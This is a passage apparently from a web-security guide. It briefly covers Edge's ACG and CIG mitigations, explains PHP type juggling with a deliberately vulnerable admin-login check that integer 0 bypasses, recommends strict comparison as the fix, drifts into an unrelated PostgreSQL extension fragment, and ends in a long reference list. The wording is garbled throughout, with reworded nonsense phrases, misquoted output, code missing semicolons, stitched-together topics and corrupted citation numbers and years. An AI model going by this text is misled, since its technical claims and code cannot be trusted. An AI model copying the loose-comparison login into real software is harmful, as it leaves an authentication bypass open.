As we explained above, think like a hacker and deduce their techniques to combat attackers. That said, it's safe to assume that we won't be able to break all the methods, and the next step is to contain the damage to a device once the vulnerability is exploited.

This time, the tactics can be directed to the attack surface accessible from the code running in the sandbox of the Microsoft Edge browser. A sandbox is a safe environment in which applications can be tested.
Limit windows of opportunity

Given that all previous approaches have failed, this is a backup plan. Using powerful and efficient technologies, one can reduce the window of opportunity for attackers. We can also report the exploit to the Microsoft Security Response Center and utilize other technologies to block dangerous URLs, such as Windows Defender and SmartScreen. CIG and ACG together prove to be highly effective in handling feats. This means that hackers should now devise new ways to bypass the layer of Security provided by CIG and ACG.

15.4 Arbitrary Code Guard and Code Integrity Guard

Microsoft uses ACG (Arbitrary Code Guard) and CIG (Code Integrity Guard) to prevent malicious code loading into memory. In addition, Microsoft Edge already employs anti-hacking technologies such as ACG and CIG.

16. PHP/CF Type Juggling with Loose Comparisons

16.1 Introduction

PHP is often directed to as a 'loosely organized programming language. This indicates that we don't have to specify the classification of any variable we display. PHP will automatically transform the data into a standard, similar type during the comparisons of different variables. This causes it achievable to resemble the number 12 to the string '*12*' or review whether or not a string is empty by utilizing a comparison like *$string == True*. This, regardless, leads to a combination of issues and might even cause security vulnerabilities, as defined in this blog post.

16.2 Type Juggling with Loose Comparisons

PHP is directed to as a 'loosely typed programming language. This means that we don't have to determine the type of any variable we state. PHP will automatically reverse the data into a standard, similar type during the comparisons of other variables. This makes it possible to resemble the number 12 to the string '*12*' or check whether or not a string is empty by using a comparison like *$string == True.*

When using the "==" operator, PHP attempts loose comparison (or *'type juggling.'* A developer can compare values even if they have a different data type, such as integers and strings. PHP's approach to value comparison

"Type juggling" or *"type coercion"* is a PHP feature. This means that PHP will transform variables of different kinds to a standard, similar type before comparing them.

For instance, when the program is comparing the string *"13"* and the integer 13 in the scenario below:

```
$example_int = 13
$example_str = "13"
if ($example_int == $example_str) {
 echo("PHP can compare ints and strings.")
}
```

The code will run without mistakes and result *in "PHP can get ints and strings."* This behavior is constructive when we wish our program to be flexible in dealing with different types of user input.

However, it is also valuable to note that this behavior is a significant root of error and security vulnerabilities.

For instance, when PHP needs to compare the string *"13 puppies"* to the integer 13, PHP will extract the integer from the line. So, this comparison will evaluate to True.

("13 puppies" == 13) -> True

But if the string that is being compared does not contain an integer. The line will then be changed to a *"0"*. So, the following contrast will also evaluate to True:

(“Puppies” == 0) -> True

Loose type contrast behavior like these is pretty standard in PHP, and many built-in functions work in the same method. We already see how this can be very problematic, but how can hackers exploit this behavior?

Vulnerability Appear- The most usual way this individuality in PHP is exploited is by using it to alternate authentication.

Let's consider the PHP code that manage authentication can be like this:
if ($_POST["password"] == "Admin_Password001") {login_as_admin001();}

Then, directly submitting an integer input of *0* would successfully log in as admin since this will evaluate to True:

(0 == “Admin_Password001") -> True

Bypassing type juggling point in PHP code

As a developer, there are multiple steps that we can take to prevent these vulnerabilities from happening.

Use strict comparison operators- When comparing values, always use the type-safe balancing operator "===" in lieu of the loose balancing operator "==." This will confirm that PHP can not type juggle, and the operation can only provide True if the types of the two variables also go with. This means that (13 === "13") give only False.

Define the "strict" option for functions that compare - Always consult the PHP manual on individual parts to check if they use loose or type-safe comparisons. See if there is an alternative option to use strict balancing and identify that option in our code.

For instance, PHP's *in_array()* uses loose balancing as default. But we can make it switch to type-safe balancing by specifying the strict option.

Avoid typecasting before comparison- Avoid typecasting right before comparing values, as this will essentially deliver the same results as type juggling. For example, before typecasting, the following three variables are all seen as distinct by the type-safe operator.

```
$example_int = 13
$example_str = "13_string"
$example_str_2 = "13"
if ($example_int === $example_str) {
 # This condition statement will return False
        echo("This will not print.");
}
if ($example_int === $example_str_2) {
 # This condition statement will return False
         echo("This will not print.");
}
```

Whereas after typecasting, PHP will only preserve the number extracted from a string, and *"13_string"* will become the integer 13.

```
$example_int = 13
$example_str = "13_string"
if ($example_int === (int)$example_str) {
 # This condition statement will return True
        echo("This will print.");
}
```

16.3 Prevention of Type Juggling

PHP also has the === operator. Three equal signs come in threes means that the comparison should consider the data type. PHP will not attempt any conversions; it will return FALSE instead. This is a relatively easy way to deal with PHP's often confusing behavior regarding type comparisons. Add a single character.

PostgreSQL Extension and User Defined Functions.

The most widely used procedural language in PostgreSQL is PL/pgSQL. the PL/pgSQL syntax, the several sorts of parameters that PostgreSQL functions handle *(IN, OUT, INOUT parameters)*, with how to use complex statements in a function body

A Guide to Create User-Defined Extension

1. Overview- Postgres is a massive database system with many built-in data types, functions, features, and operators that may handle a wide range of complex and straightforward problems. However, in a world full of complicated difficulties, these are sometimes insufficient, depending on the intricacies of the use case.

2. Built-in Extensions- Before we jump into creating our extensions, it is essential to know that a list of attachments is already available from the PG community included in the Postgres software distribution.

3. Build and Install PG Default Extensions
4. Create Extension Using plpqsql Language
5. Creating Test Case for the New Extension
6. Create our Extension Using C Language

7. Add the new extensions to the global Makefile

C (or a language that can be amicably made with *C*, such as *C++)* can be used to write user-defined functions. These actions are compiled into dynamically loadable objects (also known as shared libraries) that the server loads as needed. This sets them apart from internal functions.

C functions are currently called using two different conventions. As illustrated below, the newer *"version 1"* calling convention is indicated by writing a *PG_FUNCTION_INFO_V1()* macro call for the function. In the absence of such a macro, an old-style *("version 0")* function is used. In either scenario, the language name supplied in *CREATE FUNCTION is 'C.'* Because of portability issues and a lack of functionality, old-style functions are now deprecated, but they are still compatible.

References:

[1] G. Shanmugasundaram, S. Ravivarman, and P. Thangavellu, “A study on removal techniques of Cross-Site Scripting from web applications,” 4th IEEE Spons. Int. Conf. Comput. Power, Energy, Inf. Commun. ICCPEIC 2015, pp. 436–442, 2015.

[2] A. P. Aliga, A. M. John-Otumu, R. E. Imhanhahimi, and A. C. Akpe, “Cross Site Scripting Attacks in Web-Based Applications,” J. Adv. Sci.Eng., vol. 1, no. 2, pp. 25–35, 2018.

[3] I. Hydara, A. B. M. Sultan, H. Zulzalil, and N. Admodisastro, “Current state of research on cross-site scripting (XSS)–A systematic literature review,” Inf. Softw. Technol., vol. 58, pp. 170–186, 2015.

[4] S. Gupta and B. B. Gupta, “Cross-Site Scripting (XSS) attacks and defense mechanisms: classification and state-of-the-art,” Int. J. Syst. Assur. Eng. Manag., vol. 8, no. 1, pp. 512–530, 2017.

[5] B. Stock, S. Pfistner, B. Kaiser, S. Lekies, and M. Johns, “From facepalm to brain bender: Exploring client-side cross-site scripting,” in Proceedings of the 22nd ACM SIGSAC conference on computer and communications security, 2015, pp. 1419–1430.

[6] L. L. Ray, “Countering cross-site scripting in web-based applications,” Int. J. Strateg. Inf. Technol. Appl., vol. 6, no. 1, pp. 57–68, 2015.

[7] X. Jin, X. Hu, K. Ying, W. Du, H. Yin, and G. N. Peri, “Code injection attacks on html5-based mobile apps: Characterization, detection and mitigation,” in Proceedings of the 2014 ACM SIGSAC Conference on Computer and Communications Security, 2014, pp. 66–77.

[8] A. Javed and J. Schwenk, “Towards elimination of cross-site scripting on mobile versions of web applications,” in International Workshop on Information Security Applications, 2013, pp. 103–123.

[9] M. Mohammadi, B. Chu, and H. R. Lipford, “Detecting cross-site scripting vulnerabilities through automated unit testing,” in 2017 IEEE International Conference on Software Quality, Reliability and Security (QRS), 2017, pp. 364–373.

[10] F. A. Mereani and J. M. Howe, “Detecting cross-site scripting attacks using machine learning,” in International Conference on Advanced Machine Learning Technologies and Applications, 2018, pp. 200–210. [11] S. Rathore, P. K. Sharma, and J. H. Park, “XSSClassifier: An Efficient XSS Attack Detection Approach Based on Machine Learning Classifier on SNSs.,” JIPS, vol. 13, no. 4, pp. 1014–1028, 2017.

[12] B. K. Ayeni, J. B. Sahalu, and K. R. Adeyanju, “Detecting cross-site scripting in Web applications using fuzzy inference system,” J. Comput. Networks Commun., vol. 2018, 2018.

[13] J. LIU and Y. OU, “An Improved XSS Vulnerability Detection Method Based on Attack Vector,” DEStech Trans. Comput. Sci. Eng., no. icmsa, 2018.

[14] S. Stigler, G. Karzhaubekova, and C. Karg, “An Approach for the Automated Detection of XSS Vulnerabilities in Web Templates,” Athens J. Sci., vol. 5, no. 3, pp. 261–280, 2018.

[15] A. Algaith, P. Nunes, F. Jose, I. Gashi, and M. Vieira, “Finding SQL injection and cross site scripting vulnerabilities with diverse static analysis tools,” in 2018 14th European Dependable Computing Conference (EDCC), 2018, pp. 57–64.

[16] WhiteHat Security, “WhiteHat website security statistic report,” 2010.

[17] Y. Xie and A. Aiken, “Static detection of security vulnerabilities in scripting languages,” in Proc. USENIX Secur. Symp., 2009, pp. 179–192.

[18] V. B. Livshits and M. S. Lam, “Finding security vulnerabilities in Java applications with static analysis,” in Proc. USENIX Secur. Symp., 2005, p. 18.

[19] S. Bandhakavi, P. Bisht, P. Madhusudan, and V. N. Venkatakrishnan, “CANDID: Preventing SQL injection attacks using dynamic candidate evaluations,” in Proc. ACM Conf. Comput. Commun. Secur., 2007, pp. 12–24.

[20] L. K. Shar, H. B. K. Tan, and L. C. Briand, “Mining SQL injection and cross site scripting vulnerabilities using hybrid program analysis,” in Proc. Int. Conf. Softw. Eng., 2013, pp. 642–651.

[21] Y. Wang and Z. Li, “SQL injection detection via program tracing and machine learning,” inProc. Int. Conf. Internet Distrib. Comput. Syst., 2012, pp. 264–274.

[22] A. Kieyzun, P. Guo, K. Jayaraman, and M. Ernst, “Automatic creation of SQL injection and cross-site scripting attacks,” in Proc. Int. Conf. Softw. Eng., 2009, pp. 199–209.

[23] D. Kar, S. Panigrahi, and S. Sundararajan, “SQLiGoT: Detecting SQL injection attacks using graph of tokens and SVM,” Comput. Secur., vol. 60, pp. 206–225, 2016.

[24] J. Thomé, L. K. Shar, D. Bianculli, and L. C. Briand, “Security slicing for auditing common injection vulnerabilities,” J. Syst. Softw., vol. 137, pp. 766–783, 2018.

[25] Corrado Visaggio, Session Management Vulnerabilities in Today's Web, IEEE Security and Privacy, v.8 n.5, p.48-56, September 2010 [doi>10.1109/MSP.2010.114]

[26] Nick Nikiforakis , Wannes Meert , Yves Younan , Martin Johns , Wouter Joosen, SessionShield: lightweight protection against session hijacking, Proceedings of the Third international conference on Engineering secure software and systems, February 09-10, 2011, Madrid, Spain

[27] Dacosta, I., Chakradeo, S., Ahamad, M., Traynor, P.: One-time cookies: Preventing session hijacking attacks with stateless authentication tokens. ACM Transactions on Internet Technology 12(1), 1 (2012)

[28] A. Bortz, A. Barth, and A. Czeskis, “Origin Cookies: Session Integrity for Web Applications,” In Proceedings of the Web 2.0 Security and Privacy Workshop (W2SP).

[29] E. Bursztein, C. Soman, D. Boneh, and J.C. Mitchell. Sessionjuggler: secure web login from an untrusted terminal using session hijacking. In Proceedings of the 21st international conference on World Wide Web, pages 321-330. ACM, 2012.

[30] M. Asif and N. Tripathi, “Evaluation of OpenID-Based DoubleFactor Authentication for Preventing Session Hijacking in Web Applications,” J. Comput., vol. 7, no. 11, pp. 2623–2628, Nov. 2012.

[31] Willem Burgers, Roel Verdult, and Marko van Eekelen. “Prevent session hijacking by binding the session to the cryptographic network credentials”. In 18th Nordic Conference on Secure IT Systems (NordSec 2013), volume 8208 of Lecture Notes in Computer Science, pages 33–50. Springer-Verlag, 2013.

[32] Stango, A., Prasad, N.R., Kyriazanos, D.M.: A Threat Analysis Methodology for Security Evaluation and Enhancement Planning. In: Third International Conference on Emerging Security Information, Systems and Technologies, SECURWARE 2009, June 18-23, pp. 262–267 (2009)

[33] L. Desmet, B. Jacobs, F. Piessens, and W. Joosen. Threat Modelling for Web Services Based Web Applications. In Eighth IFIP TC-6 TC11 Conference on Communications and Multimedia Security (CMS 2004), September 2004, UK, pp 161–174

[34] D. R. Sahu and D. S. Tomar, “Strategy to Handle End User Session in Web Environment,” Proceedings of National Conference on Computing Concepts in Current Trends, NC4T’11 11th & 12th Aug. 2011, Chennai, India.

[35] S. C. Kleene. Representation of events in nerve nets and finite automata. In Automata Studies, Ann. Math. Stud. No. 34, pages 3–41. 1956.

[36] K. Thompson. Regular expression search algorithm. Comm. ACM, 11:419–422, 1968.

[37] A. V. Aho, R. Sethi, and J. D. Ullman. Compilers: principles, techniques, and tools. Addison-Wesley Longman Publishing Co., Inc., Boston, MA, USA, 1986.

[38] Q. Li and B. Moon. Indexing and querying XML data for regular path expressions. In Proc. 27th VLDB, pages 361–370, 2001

[39] M. Murata. Extended path expressions of XML. In Proc. 20th PODS, pages 126–137, 2001.

[40] G. Navarro and M. Raffinot. Fast and simple character classes and bounded gaps pattern matching, with applications to protein searching. J. Comp. Biology, 10(6):903–923, 2003.

[41] T. Johnson, S. Muthukrishnan, and I. Rozenbaum. Monitoring regular expressions on out-of-order streams. In Proc. 23nd ICDE, pages 1315–1319, 2007.

[42] F. Yu, Z. Chen, Y. Diao, T. V. Lakshman, and R. H. Katz. Fast and memoryefficient regular expression matching for deep packet inspection. In Proc. ANCS, pages 93–102, 2006.

[43] B. Kernighan and D. Ritchie. The C Programming Language (2nd Ed.). PrenticeHall, 1988. First edition from 1978.

[44] B. Stroustrup. The C++ Programming Language: Special Edition (3rd Ed.). Addison-Wesley, 2000. First edition from 1985.

[45] Z. Galil. Open problems in stringology. In A. Apostolico and Z. Galil, editors, Combinatorial problems on words, NATO ASI Series, Vol. F12, pages 1–8. 1985.

[46] E. W. Myers. A four-russian algorithm for regular expression pattern matching. J. ACM, 39(2):430–448, 1992.

[47] P. Bille. New algorithms for regular expression matching. In Proc. 33rd ICALP, LNCS 4051, pages 643–654, 2006.

[48] P. Bille and M. Farach-Colton. Fast and compact regular expression matching. Theoret. Comput. Sci., 409:486 – 496, 2008.

[48] "Thor Larholm security advisory TL#001 (IIS allows universal CrossSiteScripting)", Thor Larholm, April 10th, 2002 http://www.cgisecurity.com/archive/webservers/iis_xss_4_5_and_5.1.txt (see also Microsoft Security Bulletin MS02-018 http://www.microsoft.com/technet/security/bulletin/MS02-018.mspx)

[49] "ISA Server Error Page Cross Site Scripting", Brett Moore, July 16th, 2003 http://www.security-assessment.com/Advisories/ISA%20XSS%20Advisory.pdf (see also Microsoft Security Bulletin MS03-028 http://www.microsoft.com/technet/security/bulletin/MS03-028.mspx and a more elaborate description in "Microsoft ISA Server HTTP error handler XSS", Thor Larholm, July 16th, 2003 http://www.securityfocus.com/archive/1/329273)

[50] "Bugzilla Bug 272620 - XSS vulnerability in internal error messages", reported by Michael Krax, December 23rd, 2004 https://bugzilla.mozilla.org/show_bug.cgi?id=272620

[51] "Cross Site Scripting Explained", Amit Klein, June 2002 http://crypto.stanford.edu/cs155/CSS.pdf

[52] Daniel Bates, Adam Barth, and Collin Jackson. Regular expressions considered harmful in clientside xss filters. In Proceedings of the 19th international conference on World wide web, pages 91–100. ACM, 2010.

[53] Riccardo Pelizzi and R. Sekar. Protection, usability and improvements in reflected xss filters. In AsiaCCS, May 2012.

[54] Georgio Maone. Noscripts anti-xss protection. [online], http://noscript.net/featuresxss.

[55] David Ross. IE 8 XSS Filter Architecture / Implementation. [online], http://blogs.technet.com/b/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx, August 2008.

[56] Raymond Mui and Phyllis Frankl. Preventing webapplication injections with complementary character coding. In Computer Security–ESORICS 2011, pages 80–99. Springer, 2011.

[57] Omar Ismail, Masashi Etoh, Youki Kadobayashi, and Suguru Yamaguchi. A proposal and implementation of automatic detection/collection system for cross-site scripting vulnerability. In Advanced Information Networking and Applications, 2004. AINA 2004. 18th International Conference on, volume 1, pages 145–151. IEEE, 2004.

[58] Yacin Nadji, Prateek Saxena, and Dawn Song. Document structure integrity: A robust basis for crosssite scripting defense. In NDSS, 2009.

[59] Mike Ter Louw and VN Venkatakrishnan. Blueprint: Robust prevention of cross-site scripting attacks for existing browsers. In Security and Privacy, 2009 30th IEEE Symposium on, pages 331–346. IEEE, 2009.

[60] Mario Heiderich, Tilman Frosch, Meiko Jensen, and Thorsten Holz. Crouching tiger-hidden payload: security risks of scalable vectors graphics. In Proceedings of the 18th ACM conference on Computer and communications security, pages 239 250. ACM, 2011.

[61] Mario Heiderich, Jorg Schwenk, Tilman Frosch, ¨Jonas Magazinius, and Edward Z Yang. mxss attacks: attacking well-secured web-applications by using innerhtml mutations. In Proceedings of the 2013 ACM SIGSAC conference on Computer & communications security, pages 777–788. ACM, 2013.

[62] Adam Barth, Juan Caballero, and Dawn Song. Secure content sniffing for web browsers, or how to stop papers from reviewing themselves. In Security and Privacy, 2009 30th IEEE Symposium on, pages 360–371. IEEE, 2009.

[63] Jonas Magazinius, Billy K Rios, and Andrei Sabelfeld. Polyglots: crossing origins by crossing formats. In Proceedings of the 2013 ACM SIGSAC conference on Computer & communications security, pages 753–764. ACM, 2013.

[64] Larry Wall, Tom Christiansen, and Jon Orwant. Programming Perl. O'Reilly, 3rd edition, July 2000.

[65] Anh Nguyen-Tuong, Salvatore Guarnieri, Doug Greene, Jeff Shirley, and David Evans. Automatically hardening web applications using precise tainting. Springer, 2005.

[66] Tadeusz Pietraszek and Chris Vanden Berghe. Defending against injection attacks through contextsensitive string evaluation. In Proceedings of the 8th international conference on Recent Advances in Intrusion Detection, RAID'05, pages 124–145, Berlin, Heidelberg, 2006. Springer-Verlag.

[67] Zhendong Su and Gary Wassermann. The essence of command injection attacks in web applications. In ACM SIGPLAN Notices, volume 41, pages 372–382. ACM, 2006.

[68] Prithvi Bisht and VN Venkatakrishnan. Xss-guard: precise dynamic prevention of cross-site scripting attacks. In Detection of Intrusions and Malware, and Vulnerability Assessment, pages 23–43. Springer, 2008.

[69] Philipp Vogt, Florian Nentwich, Nenad Jovanovic, Christopher Kruegel, Engin Kirda, and Giovanni Vigna. Cross Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In 14th Annual Network and Distributed System Security Symposium (NDSS 2007), 2007.

[70] Stefano Di Paola. DominatorPro: Securing Next Generation of Web Applications. [online], https: //dominator.mindedsecurity.com/, 2012.

[71] Prateek Saxena, Steve Hanna, Pongsin Poosankam, and Dawn Song. Flax: Systematic discovery of client-side validation vulnerabilities in rich web applications. In NDSS, 2010.

[72] Sebastian Lekies, Ben Stock, and Martin Johns. 25 million flows later: large-scale detection of dom-based xss. In Proceedings of the 2013 ACM SIGSAC conference on Computer & communications security, pages 1193–1204. ACM, 2013.

[73] R Sekar. An efficient black-box technique for defeating web application attacks. In NDSS, 2009.

[74] D. Alam, T. Bhuiyan, M. A. Kabir and T. Farah, "SQLi vulnerabilty in education sector websites of Bangladesh," 2015 Second International Conference on Information Security and Cyber Forensics (InfoSec), Cape Town, 2015, pp. 152-157

[75] A. Shrivastava, S. Choudhary and A. Kumar, "XSS vulnerability assessment and prevention in web application," 2016 2nd International Conference on Next Generation Computing Technologies (NGCT), Dehradun, 2016, pp. 850-853.

[76] D. Huluka and O. Popov, "Root cause analysis of session management and broken authentication vulnerabilities," World Congress on Internet Security (WorldCIS-2012), Guelph, ON, 2012, pp. 82-86.

[77] M. M. Hassan, S. S. Nipa, M. Akter, R. Haque, F. N. Deepa, M. Rahman, M. A. Siddiqui, M. H. Sharif, “Broken Authentication And Session Management Vulnerability: A Case Study Of Web Application,” International Journal of Simulation Systems, Science & Technology, Vol. 19, No. 2, p. 6.1-6.11, ISSN 1473-804x, 2018

[78] T. Sommestad, H. Holm, and M. Ekstedt, "Estimates of success rates of remote arbitrary code execution attacks," Information Management & Computer Security 20, no. 2 (2012): 107-122.

[79] A. Begum, M. M. Hassan, T. Bhuiyan and M. H. Sharif, "RFI and SQLi based local file inclusion vulnerabilities in web applications of Bangladesh," 2016 International Workshop on Computational Intelligence (IWCI), Dhaka, 2016, pp. 21-25.

[80] I. Ayadi, A. Serhrouchni, G. Pujolle and N. Simoni, "HTTP Session Management: Architecture and Cookies Security," 2011 Conference on Network and Information Systems Security, La Rochelle, 2011, pp. 1-7.

[81] J. Wu, A. Arrott and F. C. C. Osorio, "Protection against remote code execution exploits of popular applications in Windows," 2014 9th International Conference on Malicious and Unwanted Software: The Americas (MALWARE), Fajardo, PR, 2014, pp. 26-31

[82] K. Gupta, R. Ranjan Singh and M. Dixit, "Cross site scripting (XSS) attack detection using intrustion detection system," 2017 International Conference on Intelligent Computing and Control Systems (ICICCS), Madurai, 2017, pp. 199-203.

[83] M. M. Hassan, T. Bhuyian, M. K. Sohel, M. H. Sharif, and S. Biswas, "SAISAN: An Automated Local File Inclusion Vulnerability Detection Model," International Journal of Engineering & Technology 7, no. 2.3 (2018): 4-8.

[84] Y. Zheng and X. Zhang, "Path sensitive static analysis of web applications for remote code execution vulnerability detection," 2013 35th International Conference on Software Engineering (ICSE), San Francisco, CA, 2013, pp. 652-661.

[85] B. B. Gupta, N. A. G. Arachchilage and K. E. Psannis, "Defending against phishing attacks: taxonomy of methods, current issues and future directions," Telecommunication Systems 67, no. 2 (2018): 247-267.

[86] M. Carlisle and B. Fagin, "IRONSIDES: DNS with no single-packet denial of service or remote code execution vulnerabilities," 2012 IEEE Global Communications Conference (GLOBECOM), Anaheim, CA, 2012, pp. 839-844.

[87] Alneyadi, S., E. Sithirasenan, and V. Muthukkumarasamy, A survey on data leakage prevention systems. Journal of Network and Computer Applications, 20191. 912: p. 137-1902.

[88] Shabtai, A., Y. Elovici, and L. Rokach, A survey of data leakage detection and prevention solutions. 2012: Springer Science & Business Media.

[89] Raman, P., H.G. Kayacık, and A. Somayaji. Understanding data leak prevention. in 91th Annual Symposium on Information Assurance (ASIA'11). 2011.

[90] Brindha, T. and R. Shaji. An analysis of data leakage and prevention techniques in cloud environment. in 20190 International Conference on Control, Instrumentation, Communication and Computational Technologies (ICCICCT). 20190. IEEE.

[91] Tahboub, R. and Y. Saleh. Data leakage/loss prevention systems (DLP). in Computer Applications and Information Systems (WCCAIS), 2014 World Congress on. 2014. IEEE.

[92] Paros (2010), available at: www.parosproxy.org (accessed October 2010).

[93] WebScarab (2010), OWASP, available at: www.owasp.org/index.php/Category:OWASP_WebScarab_Project (accessed October 2010).

[94] Acunetix (2010), available at: www.acunetix.com/ (accessed October 2010).

[95] dotDefender (2010), available at: www.applicure.com (accessed October 2010).

[96] ModSecurity (2010), available at: www.modsecurity.org/ (accessed October 2010).

[97] OWASP (2007), "Top 10 project 2007", OWASP: available at: www.owasp.org/index.php/Top_10_2007 (accessed December 2008).

[98] PCI Standards (2008), "Information supplement: application reviews and web application firewalls clarified", PCI Data Security Standard (PC)